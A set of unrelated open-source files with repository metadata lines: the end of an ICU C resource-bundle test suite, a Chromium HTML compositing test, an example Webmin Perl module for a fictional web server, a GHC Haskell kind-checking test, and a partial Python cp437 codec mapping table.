log_err_status(status, "err %s getting collation values\n", u_errorName(status));
}
status = U_ZERO_ERROR;
#endif
foundStandard = FALSE;
kwVals = ures_getKeywordValues( "ICUDATA", "calendar", &status);
log_verbose("Testing getting calendar keyword values:\n");
while((kw=uenum_next(kwVals, NULL, &status))) {
log_verbose(" %s\n", kw);
if(!strcmp(kw,"japanese")) {
if(foundStandard == FALSE) {
foundStandard = TRUE;
} else {
log_err("'japanese' was found twice in the calendar keyword list.\n");
}
}
}
if(foundStandard == FALSE) {
log_err_status(status, "'japanese' was not found in the calendar keyword list.\n");
}
uenum_close(kwVals);
if(U_FAILURE(status)) {
log_err_status(status, "err %s getting calendar values\n", u_errorName(status));
}
}
static void TestGetFunctionalEquivalentOf(const char *path, const char *resName, const char *keyword, UBool truncate, const char * const testCases[]) {
int32_t i;
for(i=0;testCases[i];i+=3) {
UBool expectAvail = (testCases[i][0]=='t')?TRUE:FALSE;
UBool gotAvail = FALSE;
const char *inLocale = testCases[i+1];
const char *expectLocale = testCases[i+2];
char equivLocale[256];
int32_t len;
UErrorCode status = U_ZERO_ERROR;
log_verbose("%d: %c %s\texpect %s\n",i/3, expectAvail?'t':'f', inLocale, expectLocale);
len = ures_getFunctionalEquivalent(equivLocale, 255, path,
resName, keyword, inLocale,
&gotAvail, truncate, &status);
if(U_FAILURE(status) || (len <= 0)) {
log_err_status(status, "FAIL: got len %d, err %s on #%d: %c\t%s\t%s\n",
len, u_errorName(status),
i/3,expectAvail?'t':'f', inLocale, expectLocale);
} else {
log_verbose("got: %c %s\n", expectAvail?'t':'f',equivLocale);
if((gotAvail != expectAvail) || strcmp(equivLocale, expectLocale)) {
log_err("FAIL: got avail=%c, loc=%s but expected #%d: %c\t%s\t-> loc=%s\n",
gotAvail?'t':'f', equivLocale,
i/3,
expectAvail?'t':'f', inLocale, expectLocale);
}
}
}
}
static void TestGetFunctionalEquivalent(void) {
static const char * const collCases[] = {
/* avail locale equiv */
"f", "de_US_CALIFORNIA", "de",
"f", "zh_TW@collation=stroke", "zh@collation=stroke", /* alias of zh_Hant_TW */
"t", "zh_Hant_TW@collation=stroke", "zh@collation=stroke",
"f", "de_CN@collation=pinyin", "de",
"t", "zh@collation=pinyin", "zh",
"f", "zh_CN@collation=pinyin", "zh", /* alias of zh_Hans_CN */
"t", "zh_Hans_CN@collation=pinyin", "zh",
"f", "zh_HK@collation=pinyin", "zh", /* alias of zh_Hant_HK */
"t", "zh_Hant_HK@collation=pinyin", "zh",
"f", "zh_HK@collation=stroke", "zh@collation=stroke", /* alias of zh_Hant_HK */
"t", "zh_Hant_HK@collation=stroke", "zh@collation=stroke",
"f", "zh_HK", "zh@collation=stroke", /* alias of zh_Hant_HK */
"t", "zh_Hant_HK", "zh@collation=stroke",
"f", "zh_MO", "zh@collation=stroke", /* alias of zh_Hant_MO */
"t", "zh_Hant_MO", "zh@collation=stroke",
"f", "zh_TW_STROKE", "zh@collation=stroke",
"f", "zh_TW_STROKE@collation=big5han", "zh@collation=big5han",
"f", "de_CN@calendar=japanese", "de",
"t", "de@calendar=japanese", "de",
"f", "zh_TW@collation=big5han", "zh@collation=big5han", /* alias of zh_Hant_TW */
"t", "zh_Hant_TW@collation=big5han", "zh@collation=big5han",
"f", "zh_TW@collation=gb2312han", "zh@collation=gb2312han", /* alias of zh_Hant_TW */
"t", "zh_Hant_TW@collation=gb2312han", "zh@collation=gb2312han",
"f", "zh_CN@collation=big5han", "zh@collation=big5han", /* alias of zh_Hans_CN */
"t", "zh_Hans_CN@collation=big5han", "zh@collation=big5han",
"f", "zh_CN@collation=gb2312han", "zh@collation=gb2312han", /* alias of zh_Hans_CN */
"t", "zh_Hans_CN@collation=gb2312han", "zh@collation=gb2312han",
"t", "zh@collation=big5han", "zh@collation=big5han",
"t", "zh@collation=gb2312han", "zh@collation=gb2312han",
"t", "hi_IN@collation=direct", "hi@collation=direct",
"t", "hi@collation=standard", "hi",
"t", "hi@collation=direct", "hi@collation=direct",
"f", "hi_AU@collation=direct;currency=CHF;calendar=buddhist", "hi@collation=direct",
"f", "hi_AU@collation=standard;currency=CHF;calendar=buddhist", "hi",
"t", "de_DE@collation=pinyin", "de", /* bug 4582 tests */
"f", "de_DE_BONN@collation=pinyin", "de",
"t", "nl", "root",
"t", "nl_NL", "root",
"f", "nl_NL_EEXT", "root",
"t", "nl@collation=stroke", "root",
"t", "nl_NL@collation=stroke", "root",
"f", "nl_NL_EEXT@collation=stroke", "root",
NULL
};
static const char *calCases[] = {
/* avail locale equiv */
"t", "en_US_POSIX", "en_US@calendar=gregorian",
"f", "ja_JP_TOKYO", "ja_JP@calendar=gregorian",
"f", "ja_JP_TOKYO@calendar=japanese", "ja@calendar=japanese",
"t", "sr@calendar=gregorian", "sr@calendar=gregorian",
"t", "en", "en@calendar=gregorian",
NULL
};
#if !UCONFIG_NO_COLLATION
TestGetFunctionalEquivalentOf(U_ICUDATA_COLL, "collations", "collation", TRUE, collCases);
#endif
TestGetFunctionalEquivalentOf("ICUDATA", "calendar", "calendar", FALSE, calCases);
#if !UCONFIG_NO_COLLATION
log_verbose("Testing error conditions:\n");
{
char equivLocale[256] = "???";
int32_t len;
UErrorCode status = U_ZERO_ERROR;
UBool gotAvail = FALSE;
len = ures_getFunctionalEquivalent(equivLocale, 255, U_ICUDATA_COLL,
"calendar", "calendar", "ar_EG@calendar=islamic",
&gotAvail, FALSE, &status);
if(status == U_MISSING_RESOURCE_ERROR) {
log_verbose("PASS: Got expected U_MISSING_RESOURCE_ERROR\n");
} else {
log_err("ures_getFunctionalEquivalent returned locale %s, avail %c, err %s, but expected U_MISSING_RESOURCE_ERROR \n",
equivLocale, gotAvail?'t':'f', u_errorName(status));
}
}
#endif
}
static void TestXPath(void) {
UErrorCode status = U_ZERO_ERROR;
UResourceBundle *rb = NULL, *alias = NULL;
int32_t len = 0;
const UChar* result = NULL;
const UChar expResult[] = { 0x0063, 0x006F, 0x0072, 0x0072, 0x0065, 0x0063, 0x0074, 0x0000 }; /* "correct" */
/*const UChar expResult[] = { 0x0074, 0x0065, 0x0069, 0x006E, 0x0064, 0x0065, 0x0073, 0x0074, 0x0000 }; *//*teindest*/
const char *testdatapath=loadTestData(&status);
if(U_FAILURE(status))
{
log_data_err("Could not load testdata.dat %s \n",myErrorName(status));
return;
}
log_verbose("Testing ures_open()......\n");
rb = ures_open(testdatapath, "te_IN", &status);
if(U_FAILURE(status)) {
log_err("Could not open te_IN (%s)\n", myErrorName(status));
return;
}
alias = ures_getByKey(rb, "rootAliasClient", alias, &status);
if(U_FAILURE(status)) {
log_err("Couldn't find the aliased resource (%s)\n", myErrorName(status));
ures_close(rb);
return;
}
result = tres_getString(alias, -1, NULL, &len, &status);
if(U_FAILURE(status) || result == NULL || u_strcmp(result, expResult)) {
log_err("Couldn't get correct string value (%s)\n", myErrorName(status));
}
alias = ures_getByKey(rb, "aliasClient", alias, &status);
if(U_FAILURE(status)) {
log_err("Couldn't find the aliased resource (%s)\n", myErrorName(status));
ures_close(rb);
return;
}
result = tres_getString(alias, -1, NULL, &len, &status);
if(U_FAILURE(status) || result == NULL || u_strcmp(result, expResult)) {
log_err("Couldn't get correct string value (%s)\n", myErrorName(status));
}
alias = ures_getByKey(rb, "nestedRootAliasClient", alias, &status);
if(U_FAILURE(status)) {
log_err("Couldn't find the aliased resource (%s)\n", myErrorName(status));
ures_close(rb);
return;
}
result = tres_getString(alias, -1, NULL, &len, &status);
if(U_FAILURE(status) || result == NULL || u_strcmp(result, expResult)) {
log_err("Couldn't get correct string value (%s)\n", myErrorName(status));
}
ures_close(alias);
ures_close(rb);
}
static void TestCLDRStyleAliases(void) {
UErrorCode status = U_ZERO_ERROR;
UResourceBundle *rb = NULL, *alias = NULL, *a=NULL;
int32_t i, len;
char resource[256];
const UChar *result = NULL;
UChar expected[256];
const char *expects[7] = { "", "a41", "a12", "a03", "ar4" };
const char *testdatapath=loadTestData(&status);
if(U_FAILURE(status)) {
log_data_err("Could not load testdata.dat %s \n",myErrorName(status));
return;
}
log_verbose("Testing CLDR style aliases......\n");
rb = ures_open(testdatapath, "te_IN_REVISED", &status);
if(U_FAILURE(status)) {
log_err("Could not open te_IN (%s)\n", myErrorName(status));
return;
}
alias = ures_getByKey(rb, "a", alias, &status);
if(U_FAILURE(status)) {
log_err("Couldn't find the aliased with name \"a\" resource (%s)\n", myErrorName(status));
ures_close(rb);
return;
}
for(i = 1; i < 5 ; i++) {
resource[0]='a';
resource[1]='0'+i;
resource[2]=0;
/* instead of sprintf(resource, "a%i", i); */
a = ures_getByKeyWithFallback(alias, resource, a, &status);
result = tres_getString(a, -1, NULL, &len, &status);
u_charsToUChars(expects[i], expected, strlen(expects[i])+1);
if(U_FAILURE(status) || !result || u_strcmp(result, expected)) {
log_err("CLDR style aliases failed resource with name \"%s\" resource, exp %s, got %S (%s)\n", resource, expects[i], result, myErrorName(status));
status = U_ZERO_ERROR;
}
}
ures_close(a);
ures_close(alias);
ures_close(rb);
}
static void TestFallbackCodes(void) {
UErrorCode status = U_ZERO_ERROR;
const char *testdatapath=loadTestData(&status);
UResourceBundle *res = ures_open(testdatapath, "te_IN", &status);
UResourceBundle *r = NULL, *fall = NULL;
r = ures_getByKey(res, "tagged_array_in_Root_te_te_IN", r, &status);
status = U_ZERO_ERROR;
fall = ures_getByKeyWithFallback(r, "tag2", fall, &status);
if(status != U_ZERO_ERROR) {
log_data_err("Expected error code to be U_ZERO_ERROR, got %s\n", u_errorName(status));
status = U_ZERO_ERROR;
}
fall = ures_getByKeyWithFallback(r, "tag7", fall, &status);
if(status != U_USING_FALLBACK_WARNING) {
log_data_err("Expected error code to be U_USING_FALLBACK_WARNING, got %s\n", u_errorName(status));
}
status = U_ZERO_ERROR;
fall = ures_getByKeyWithFallback(r, "tag1", fall, &status);
if(status != U_USING_DEFAULT_WARNING) {
log_data_err("Expected error code to be U_USING_DEFAULT_WARNING, got %s\n", u_errorName(status));
}
status = U_ZERO_ERROR;
ures_close(fall);
ures_close(r);
ures_close(res);
}
/* This test will crash if this doesn't work. Results don't need testing. */
static void TestStackReuse(void) {
UResourceBundle table;
UErrorCode errorCode = U_ZERO_ERROR;
UResourceBundle *rb = ures_open(NULL, "en_US", &errorCode);
if(U_FAILURE(errorCode)) {
log_data_err("Could not load en_US locale. status=%s\n",myErrorName(errorCode));
return;
}
ures_initStackObject(&table);
ures_getByKeyWithFallback(rb, "Types", &table, &errorCode);
ures_getByKeyWithFallback(&table, "collation", &table, &errorCode);
ures_close(rb);
ures_close(&table);
}
/* Test ures_getUTF8StringXYZ() --------------------------------------------- */
/*
* Replace most ures_getStringXYZ() with this function which wraps the
* desired call and also calls the UTF-8 variant and checks that it works.
*/
extern const UChar *
tres_getString(const UResourceBundle *resB,
int32_t index, const char *key,
int32_t *length,
UErrorCode *status) {
char buffer8[16];
char *p8;
const UChar *s16;
const char *s8;
UChar32 c16, c8;
int32_t length16, length8, i16, i8;
UBool forceCopy;
if(length == NULL) {
length = &length16;
}
if(index >= 0) {
s16 = ures_getStringByIndex(resB, index, length, status);
} else if(key != NULL) {
s16 = ures_getStringByKey(resB, key, length, status);
} else {
s16 = ures_getString(resB, length, status);
}
if(U_FAILURE(*status)) {
return s16;
}
length16 = *length;
/* try the UTF-8 variant of ures_getStringXYZ() */
for(forceCopy = FALSE; forceCopy <= TRUE; ++forceCopy) {
p8 = buffer8;
length8 = (int32_t)sizeof(buffer8);
if(index >= 0) {
s8 = ures_getUTF8StringByIndex(resB, index, p8, &length8, forceCopy, status);
} else if(key != NULL) {
s8 = ures_getUTF8StringByKey(resB, key, p8, &length8, forceCopy, status);
} else {
s8 = ures_getUTF8String(resB, p8, &length8, forceCopy, status);
}
if(*status == U_INVALID_CHAR_FOUND) {
/* the UTF-16 string contains an unpaired surrogate, can't test UTF-8 variant */
return s16;
}
if(*status == U_BUFFER_OVERFLOW_ERROR) {
*status = U_ZERO_ERROR;
p8 = (char *)malloc(++length8);
if(p8 == NULL) {
return s16;
}
if(index >= 0) {
s8 = ures_getUTF8StringByIndex(resB, index, p8, &length8, forceCopy, status);
} else if(key != NULL) {
s8 = ures_getUTF8StringByKey(resB, key, p8, &length8, forceCopy, status);
} else {
s8 = ures_getUTF8String(resB, p8, &length8, forceCopy, status);
}
}
if(U_FAILURE(*status)) {
/* something unexpected happened */
if(p8 != buffer8) {
free(p8);
}
return s16;
}
if(forceCopy && s8 != p8) {
log_err("ures_getUTF8String(%p, %ld, '%s') did not write the string to dest\n",
resB, (long)index, key);
}
/* verify NUL-termination */
if((p8 != buffer8 || length8 < sizeof(buffer8)) && s8[length8] != 0) {
log_err("ures_getUTF8String(%p, %ld, '%s') did not NUL-terminate\n",
resB, (long)index, key);
}
/* verify correct string */
i16 = i8 = 0;
while(i16 < length16 && i8 < length8) {
U16_NEXT(s16, i16, length16, c16);
U8_NEXT(s8, i8, length8, c8);
if(c16 != c8) {
log_err("ures_getUTF8String(%p, %ld, '%s') got a bad string, c16=U+%04lx!=U+%04lx=c8 before i16=%ld\n",
resB, (long)index, key, (long)c16, (long)c8, (long)i16);
}
}
/* verify correct length */
if(i16 < length16) {
log_err("ures_getUTF8String(%p, %ld, '%s') UTF-8 string too short, length8=%ld, length16=%ld\n",
resB, (long)index, key, (long)length8, (long)length16);
}
if(i8 < length8) {
log_err("ures_getUTF8String(%p, %ld, '%s') UTF-8 string too long, length8=%ld, length16=%ld\n",
resB, (long)index, key, (long)length8, (long)length16);
}
/* clean up */
if(p8 != buffer8) {
free(p8);
}
}
return s16;
}
/*
* API tests for ures_getUTF8String().
* Most cases are handled by tres_getString(), which leaves argument checking
* to be tested here.
* Since the variants share most of their implementation, we only need to test
* one of them.
* We also need not test for checking arguments which will be checked by the
* UTF-16 ures_getStringXYZ() that are called internally.
*/
static void
TestGetUTF8String() {
UResourceBundle *res;
const char *testdatapath;
char buffer8[16];
const char *s8;
int32_t length8;
UErrorCode status;
status = U_ZERO_ERROR;
testdatapath = loadTestData(&status);
if(U_FAILURE(status)) {
log_data_err("Could not load testdata.dat - %s\n", u_errorName(status));
return;
}
res = ures_open(testdatapath, "", &status);
if(U_FAILURE(status)) {
log_err("Unable to ures_open(testdata, \"\") - %s\n", u_errorName(status));
return;
}
/* one good call */
status = U_ZERO_ERROR;
length8 = (int32_t)sizeof(buffer8);
s8 = ures_getUTF8StringByKey(res, "string_only_in_Root", buffer8, &length8, FALSE, &status);
if(status != U_ZERO_ERROR) {
log_err("ures_getUTF8StringByKey(testdata/root string) malfunctioned - %s\n", u_errorName(status));
}
/* negative capacity */
status = U_ZERO_ERROR;
length8 = -1;
s8 = ures_getUTF8StringByKey(res, "string_only_in_Root", buffer8, &length8, FALSE, &status);
if(status != U_ILLEGAL_ARGUMENT_ERROR) {
log_err("ures_getUTF8StringByKey(capacity<0) malfunctioned - %s\n", u_errorName(status));
}
/* capacity>0 but dest=NULL */
status = U_ZERO_ERROR;
length8 = (int32_t)sizeof(buffer8);
s8 = ures_getUTF8StringByKey(res, "string_only_in_Root", NULL, &length8, FALSE, &status);
if(status != U_ILLEGAL_ARGUMENT_ERROR) {
log_err("ures_getUTF8StringByKey(dest=NULL capacity>0) malfunctioned - %s\n", u_errorName(status));
}
ures_close(res);
}
static void TestCLDRVersion(void) {
UVersionInfo zeroVersion;
UVersionInfo testExpect;
UVersionInfo testCurrent;
UVersionInfo cldrVersion;
char tmp[200];
UErrorCode status = U_ZERO_ERROR;
/* setup the constant value */
u_versionFromString(zeroVersion, "0.0.0.0");
/* test CLDR value from API */
ulocdata_getCLDRVersion(cldrVersion, &status);
if(U_FAILURE(status)) {
/* the show is pretty much over at this point */
log_err_status(status, "FAIL: ulocdata_getCLDRVersion() returned %s\n", u_errorName(status));
return;
} else {
u_versionToString(cldrVersion, tmp);
log_info("ulocdata_getCLDRVersion() returned: '%s'\n", tmp);
}
/* setup from resource bundle */
{
UResourceBundle *res;
const char *testdatapath;
status = U_ZERO_ERROR;
testdatapath = loadTestData(&status);
if(U_FAILURE(status)) {
log_data_err("Could not load testdata.dat - %s\n", u_errorName(status));
return;
}
res = ures_openDirect(testdatapath, "root", &status);
if(U_FAILURE(status)) {
log_err("Unable to ures_open(testdata, \"\") - %s\n", u_errorName(status
));
return;
}
ures_getVersionByKey(res, "ExpectCLDRVersionAtLeast", testExpect, &status);
ures_getVersionByKey(res, "CurrentCLDRVersion", testCurrent, &status);
ures_close(res);
if(U_FAILURE(status)) {
log_err("Unable to get test data for CLDR version - %s\n", u_errorName(status));
}
}
if(U_FAILURE(status)) return;
u_versionToString(testExpect,tmp);
log_verbose("(data) ExpectCLDRVersionAtLeast { %s }\n", tmp);
if(memcmp(cldrVersion, testExpect, sizeof(UVersionInfo)) < 0) {
log_data_err("CLDR version is too old, expect at least %s.", tmp);
}
u_versionToString(testCurrent,tmp);
log_verbose("(data) CurrentCLDRVersion { %s }\n", tmp);
switch(memcmp(cldrVersion, testCurrent, sizeof(UVersionInfo))) {
case 0: break; /* OK- current. */
case -1: log_info("CLDR version is behind 'current' (for testdata/root.txt) %s. Some things may fail.\n", tmp); break;
case 1: log_info("CLDR version is ahead of 'current' (for testdata/root.txt) %s. Some things may fail.\n", tmp); break;
}
}
| wangscript/libjingle-1 | trunk/third_party/icu/source/test/cintltst/creststn.c | C | bsd-3-clause | 119,467 |
<!DOCTYPE html>
<html>
<head>
<style>
#container, #container2 {
height: 100px;
width: 100px;
margin: 10px 0;
perspective: 1000px;
}
#container.transformed, #container2.transformed {
transform: translateX(0);
}
.box {
margin-bottom: 5px;
height: 100px;
width: 100px;
background-color: green;
opacity: 0.5;
}
</style>
<script>
function doTest()
{
window.setTimeout(function() {
document.getElementById('container').className = 'transformed';
document.getElementById('container2').className = '';
if (window.testRunner)
testRunner.notifyDone();
}, 100);
}
window.addEventListener('load', doTest, false);
</script>
</head>
<body>
<p>All squares should have the same pale green color></p>
<div class="box"></div>
<div id="container">
<div class="box">
</div>
</div>
<div id="container2" class="transformed">
<div class="box">
</div>
</div>
</body>
</html>
| scheib/chromium | third_party/blink/manual_tests/compositing/requires-backing-change.html | HTML | bsd-3-clause | 1,054 |
=head1 foobar-lib.pl
Functions for the Foobar Web Server. This is an example Webmin module for a
simple fictional webserver.
=cut
use WebminCore;
init_config();
=head2 list_foobar_websites()
Returns a list of all websites served by the Foobar webserver, as hash
references with C<domain> and C<directory> keys.
=cut
sub list_foobar_websites
{
my @rv;
my $lnum = 0;
open(CONF, $config{'foobar_conf'});
while(<CONF>) {
s/\r|\n//g;
s/#.*$//;
my ($dom, $dir) = split(/\s+/, $_);
if ($dom && $dir) {
push(@rv, { 'domain' => $dom,
'directory' => $dir,
'line' => $lnum });
}
$lnum++;
}
close(CONF);
return @rv;
}
=head2 create_foobar_website(&site)
Adds a new website, specified by the C<site> hash reference parameter, which
must contain C<domain> and C<directory> keys.
=cut
sub create_foobar_website
{
my ($site) = @_;
open_tempfile(CONF, ">>$config{'foobar_conf'}");
print_tempfile(CONF, $site->{'domain'}." ".$site->{'directory'}."\n");
close_tempfile(CONF);
}
=head2 modify_foobar_website(&site)
Updates a website specified by the C<site> hash reference parameter, which
must be a modified entry returned from the C<list_foobar_websites> function.
=cut
sub modify_foobar_website
{
my ($site) = @_;
my $lref = read_file_lines($config{'foobar_conf'});
$lref->[$site->{'line'}] = $site->{'domain'}." ".$site->{'directory'};
flush_file_lines($config{'foobar_conf'});
}
=head2 delete_foobar_website(&site)
Deletes a website, specified by the C<site> hash reference parameter, which
must have been one of the elements returned by C<list_foobar_websites>
=cut
sub delete_foobar_website
{
my ($site) = @_;
my $lref = read_file_lines($config{'foobar_conf'});
splice(@$lref, $site->{'line'}, 1);
flush_file_lines($config{'foobar_conf'});
}
=head2 apply_configuration()
Signal the Foobar webserver process to re-read it's configuration files.
=cut
sub apply_configuration
{
kill_byname_logged('HUP', 'foobard');
}
1;
| BangL/webmin | foobar/foobar-lib.pl | Perl | bsd-3-clause | 1,949 |
{-# LANGUAGE RankNTypes #-}
{-# LANGUAGE DataKinds #-}
{-# LANGUAGE PolyKinds #-}
module Bug where
import Data.Kind
type HRank1 ty = forall k1. k1 -> ty
type HRank2 ty = forall k2. k2 -> ty
data HREFL11 :: HRank1 (HRank1 Type) -- FAILS
data HREFL12 :: HRank1 (HRank2 Type)
data HREFL21 :: HRank2 (HRank1 Type)
data HREFL22 :: HRank2 (HRank2 Type) -- FAILS
| sdiehl/ghc | testsuite/tests/polykinds/T14515.hs | Haskell | bsd-3-clause | 359 |
""" Python Character Mapping Codec cp437 generated from 'VENDORS/MICSFT/PC/CP437.TXT' with gencodec.py.
"""#"
import codecs
### Codec APIs
class Codec(codecs.Codec):
def encode(self,input,errors='strict'):
return codecs.charmap_encode(input,errors,encoding_map)
def decode(self,input,errors='strict'):
return codecs.charmap_decode(input,errors,decoding_table)
class IncrementalEncoder(codecs.IncrementalEncoder):
def encode(self, input, final=False):
return codecs.charmap_encode(input,self.errors,encoding_map)[0]
class IncrementalDecoder(codecs.IncrementalDecoder):
def decode(self, input, final=False):
return codecs.charmap_decode(input,self.errors,decoding_table)[0]
class StreamWriter(Codec,codecs.StreamWriter):
pass
class StreamReader(Codec,codecs.StreamReader):
pass
### encodings module API
def getregentry():
return codecs.CodecInfo(
name='cp437',
encode=Codec().encode,
decode=Codec().decode,
incrementalencoder=IncrementalEncoder,
incrementaldecoder=IncrementalDecoder,
streamreader=StreamReader,
streamwriter=StreamWriter,
)
### Decoding Map
decoding_map = codecs.make_identity_dict(range(256))
decoding_map.update({
0x0080: 0x00c7, # LATIN CAPITAL LETTER C WITH CEDILLA
0x0081: 0x00fc, # LATIN SMALL LETTER U WITH DIAERESIS
0x0082: 0x00e9, # LATIN SMALL LETTER E WITH ACUTE
0x0083: 0x00e2, # LATIN SMALL LETTER A WITH CIRCUMFLEX
0x0084: 0x00e4, # LATIN SMALL LETTER A WITH DIAERESIS
0x0085: 0x00e0, # LATIN SMALL LETTER A WITH GRAVE
0x0086: 0x00e5, # LATIN SMALL LETTER A WITH RING ABOVE
0x0087: 0x00e7, # LATIN SMALL LETTER C WITH CEDILLA
0x0088: 0x00ea, # LATIN SMALL LETTER E WITH CIRCUMFLEX
0x0089: 0x00eb, # LATIN SMALL LETTER E WITH DIAERESIS
0x008a: 0x00e8, # LATIN SMALL LETTER E WITH GRAVE
0x008b: 0x00ef, # LATIN SMALL LETTER I WITH DIAERESIS
0x008c: 0x00ee, # LATIN SMALL LETTER I WITH CIRCUMFLEX
0x008d: 0x00ec, # LATIN SMALL LETTER I WITH GRAVE
0x008e: 0x00c4, # LATIN CAPITAL LETTER A WITH DIAERESIS
0x008f: 0x00c5, # LATIN CAPITAL LETTER A WITH RING ABOVE
0x0090: 0x00c9, # LATIN CAPITAL LETTER E WITH ACUTE
0x0091: 0x00e6, # LATIN SMALL LIGATURE AE
0x0092: 0x00c6, # LATIN CAPITAL LIGATURE AE
0x0093: 0x00f4, # LATIN SMALL LETTER O WITH CIRCUMFLEX
0x0094: 0x00f6, # LATIN SMALL LETTER O WITH DIAERESIS
0x0095: 0x00f2, # LATIN SMALL LETTER O WITH GRAVE
0x0096: 0x00fb, # LATIN SMALL LETTER U WITH CIRCUMFLEX
0x0097: 0x00f9, # LATIN SMALL LETTER U WITH GRAVE
0x0098: 0x00ff, # LATIN SMALL LETTER Y WITH DIAERESIS
0x0099: 0x00d6, # LATIN CAPITAL LETTER O WITH DIAERESIS
0x009a: 0x00dc, # LATIN CAPITAL LETTER U WITH DIAERESIS
0x009b: 0x00a2, # CENT SIGN
0x009c: 0x00a3, # POUND SIGN
0x009d: 0x00a5, # YEN SIGN
0x009e: 0x20a7, # PESETA SIGN
0x009f: 0x0192, # LATIN SMALL LETTER F WITH HOOK
0x00a0: 0x00e1, # LATIN SMALL LETTER A WITH ACUTE
0x00a1: 0x00ed, # LATIN SMALL LETTER I WITH ACUTE
0x00a2: 0x00f3, # LATIN SMALL LETTER O WITH ACUTE
0x00a3: 0x00fa, # LATIN SMALL LETTER U WITH ACUTE
0x00a4: 0x00f1, # LATIN SMALL LETTER N WITH TILDE
0x00a5: 0x00d1, # LATIN CAPITAL LETTER N WITH TILDE
0x00a6: 0x00aa, # FEMININE ORDINAL INDICATOR
0x00a7: 0x00ba, # MASCULINE ORDINAL INDICATOR
0x00a8: 0x00bf, # INVERTED QUESTION MARK
0x00a9: 0x2310, # REVERSED NOT SIGN
0x00aa: 0x00ac, # NOT SIGN
0x00ab: 0x00bd, # VULGAR FRACTION ONE HALF
0x00ac: 0x00bc, # VULGAR FRACTION ONE QUARTER
0x00ad: 0x00a1, # INVERTED EXCLAMATION MARK
0x00ae: 0x00ab, # LEFT-POINTING DOUBLE ANGLE QUOTATION MARK
0x00af: 0x00bb, # RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK
0x00b0: 0x2591, # LIGHT SHADE
0x00b1: 0x2592, # MEDIUM SHADE
0x00b2: 0x2593, # DARK SHADE
0x00b3: 0x2502, # BOX DRAWINGS LIGHT VERTICAL
0x00b4: 0x2524, # BOX DRAWINGS LIGHT VERTICAL AND LEFT
0x00b5: 0x2561, # BOX DRAWINGS VERTICAL SINGLE AND LEFT DOUBLE
0x00b6: 0x2562, # BOX DRAWINGS VERTICAL DOUBLE AND LEFT SINGLE
0x00b7: 0x2556, # BOX DRAWINGS DOWN DOUBLE AND LEFT SINGLE
0x00b8: 0x2555, # BOX DRAWINGS DOWN SINGLE AND LEFT DOUBLE
0x00b9: 0x2563, # BOX DRAWINGS DOUBLE VERTICAL AND LEFT
0x00ba: 0x2551, # BOX DRAWINGS DOUBLE VERTICAL
0x00bb: 0x2557, # BOX DRAWINGS DOUBLE DOWN AND LEFT
0x00bc: 0x255d, # BOX DRAWINGS DOUBLE UP AND LEFT
0x00bd: 0x255c, # BOX DRAWINGS UP DOUBLE AND LEFT SINGLE
0x00be: 0x255b, # BOX DRAWINGS UP SINGLE AND LEFT DOUBLE
0x00bf: 0x2510, # BOX DRAWINGS LIGHT DOWN AND LEFT
0x00c0: 0x2514, # BOX DRAWINGS LIGHT UP AND RIGHT
0x00c1: 0x2534, # BOX DRAWINGS LIGHT UP AND HORIZONTAL
0x00c2: 0x252c, # BOX DRAWINGS LIGHT DOWN AND HORIZONTAL
0x00c3: 0x251c, # BOX DRAWINGS LIGHT VERTICAL AND RIGHT
0x00c4: 0x2500, # BOX DRAWINGS LIGHT HORIZONTAL
0x00c5: 0x253c, # BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL
0x00c6: 0x255e, # BOX DRAWINGS VERTICAL SINGLE AND RIGHT DOUBLE
0x00c7: 0x255f, # BOX DRAWINGS VERTICAL DOUBLE AND RIGHT SINGLE
0x00c8: 0x255a, # BOX DRAWINGS DOUBLE UP AND RIGHT
0x00c9: 0x2554, # BOX DRAWINGS DOUBLE DOWN AND RIGHT
0x00ca: 0x2569, # BOX DRAWINGS DOUBLE UP AND HORIZONTAL
0x00cb: 0x2566, # BOX DRAWINGS DOUBLE DOWN AND HORIZONTAL
0x00cc: 0x2560, # BOX DRAWINGS DOUBLE VERTICAL AND RIGHT
0x00cd: 0x2550, # BOX DRAWINGS DOUBLE HORIZONTAL
0x00ce: 0x256c, # BOX DRAWINGS DOUBLE VERTICAL AND HORIZONTAL
0x00cf: 0x2567, # BOX DRAWINGS UP SINGLE AND HORIZONTAL DOUBLE
0x00d0: 0x2568, # BOX DRAWINGS UP DOUBLE AND HORIZONTAL SINGLE
0x00d1: 0x2564, # BOX DRAWINGS DOWN SINGLE AND HORIZONTAL DOUBLE
0x00d2: 0x2565, # BOX DRAWINGS DOWN DOUBLE AND HORIZONTAL SINGLE
0x00d3: 0x2559, # BOX DRAWINGS UP DOUBLE AND RIGHT SINGLE
0x00d4: 0x2558, # BOX DRAWINGS UP SINGLE AND RIGHT DOUBLE
0x00d5: 0x2552, # BOX DRAWINGS DOWN SINGLE AND RIGHT DOUBLE
0x00d6: 0x2553, # BOX DRAWINGS DOWN DOUBLE AND RIGHT SINGLE
0x00d7: 0x256b, # BOX DRAWINGS VERTICAL DOUBLE AND HORIZONTAL SINGLE
0x00d8: 0x256a, # BOX DRAWINGS VERTICAL SINGLE AND HORIZONTAL DOUBLE
0x00d9: 0x2518, # BOX DRAWINGS LIGHT UP AND LEFT
0x00da: 0x250c, # BOX DRAWINGS LIGHT DOWN AND RIGHT
0x00db: 0x2588, # FULL BLOCK
0x00dc: 0x2584, # LOWER HALF BLOCK
0x00dd: 0x258c, # LEFT HALF BLOCK
0x00de: 0x2590, # RIGHT HALF BLOCK
0x00df: 0x2580, # UPPER HALF BLOCK
0x00e0: 0x03b1, # GREEK SMALL LETTER ALPHA
0x00e1: 0x00df, # LATIN SMALL LETTER SHARP S
0x00e2: 0x0393, # GREEK CAPITAL LETTER GAMMA
0x00e3: 0x03c0, # GREEK SMALL LETTER PI
0x00e4: 0x03a3, # GREEK CAPITAL LETTER SIGMA
0x00e5: 0x03c3, # GREEK SMALL LETTER SIGMA
0x00e6: 0x00b5, # MICRO SIGN
0x00e7: 0x03c4, # GREEK SMALL LETTER TAU
0x00e8: 0x03a6, # GREEK CAPITAL LETTER PHI
0x00e9: 0x0398, # GREEK CAPITAL LETTER THETA
0x00ea: 0x03a9, # GREEK CAPITAL LETTER OMEGA
0x00eb: 0x03b4, # GREEK SMALL LETTER DELTA
0x00ec: 0x221e, # INFINITY
0x00ed: 0x03c6, # GREEK SMALL LETTER PHI
0x00ee: 0x03b5, # GREEK SMALL LETTER EPSILON
0x00ef: 0x2229, # INTERSECTION
0x00f0: 0x2261, # IDENTICAL TO
0x00f1: 0x00b1, # PLUS-MINUS SIGN
0x00f2: 0x2265, # GREATER-THAN OR EQUAL TO
